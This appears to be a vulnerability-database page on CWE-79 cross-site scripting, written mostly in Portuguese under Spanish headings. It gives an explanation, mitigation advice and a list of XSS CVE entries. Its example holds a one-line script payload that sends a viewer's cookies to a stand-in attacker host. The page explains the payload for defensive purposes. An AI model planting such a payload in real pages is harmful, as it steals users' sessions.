Fallos del tipo CWE-79

29.908 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-11390MEDIUMPHPGurukul Cyber Cafe Management System POST Parameter search.php cross site scriptingEPSS 0.4%CVE-2026-48254MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-33642MEDIUMWordPress Advanced Post List plugin <= 0.5.6.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75629MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75652MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75679MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75659MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-22283HIGHWordPress GetSocial Plugin <= 2.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-0953HIGHSMTP for Sendinblue – YaySMTP <= 1.2 - Unauthenticated Stored Cross-Site Scripting via Email LogsEPSS 0.4%CVE-2026-75724MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-30444MEDIUMWordPress WordPress Page Builder – Zion Builder plugin <= 3.6.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-3573MEDIUMVersions of the package jquery-validation before 1.20.0 are vulnerable to Cross-site Scripting (XSS) in the showLabel() function, which may EPSS 0.4%CVE-2026-75647MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75710MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75716MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-23732HIGHWordPress Easy Filtering plugin <= 2.5.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75717MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-38465MEDIUMA Stored XSS vulnerability in the donor avatar mouse-over text feature in GazellePW (GazellePosterWall) commit 86c4bedf727691b5a97af42a48648EPSS 0.4%CVE-2023-51727MEDIUMStored Cross Site Scripting Vulnerability in Skyworth RouterEPSS 0.4%CVE-2024-25300MEDIUMA cross-site scripting (XSS) vulnerability in Redaxo v5.15.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payloadEPSS 0.4%